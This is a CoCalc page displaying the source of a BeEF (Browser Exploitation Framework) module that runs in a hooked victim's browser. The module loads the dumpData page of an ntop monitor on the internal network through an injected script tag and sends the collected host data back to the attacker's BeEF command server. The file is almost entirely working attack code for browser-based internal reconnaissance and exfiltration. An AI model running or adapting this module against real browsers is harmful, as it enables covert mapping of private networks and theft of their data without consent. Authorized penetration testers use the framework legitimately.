Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/network/get_ntop_network_hosts/command.js
1873 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var rhost = '<%= @rhost %>';
9
var rport = '<%= @rport %>';
10
11
load_script = function(url) {
12
beef.debug("[Get ntop Network Hosts] Loading: " + url);
13
var s = document.createElement("script");
14
s.type = 'text/javascript';
15
s.src = url;
16
document.body.appendChild(s);
17
}
18
19
read_ntop = function() {
20
try {
21
var result = JSON.stringify(ntopDict);
22
beef.debug("[Get ntop Network Hosts] Success: Found ntop data (" + result.length + ' bytes)');
23
beef.net.send("<%= @command_url %>", <%= @command_id %>, "proto=http&ip=<%= @rhost %>&port=<%= @rport %>&data="+result, beef.are.status_success());
24
} catch(e) {
25
beef.debug("[Get ntop Network Hosts] Error: Did not find ntop");
26
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=did not find ntop', beef.are.status_error());
27
return;
28
}
29
}
30
31
load_script("http://"+rhost+":"+rport+"/dumpData.html?language=python&view=long");
32
setTimeout("read_ntop()", 10000);
33
34
});
35
36
37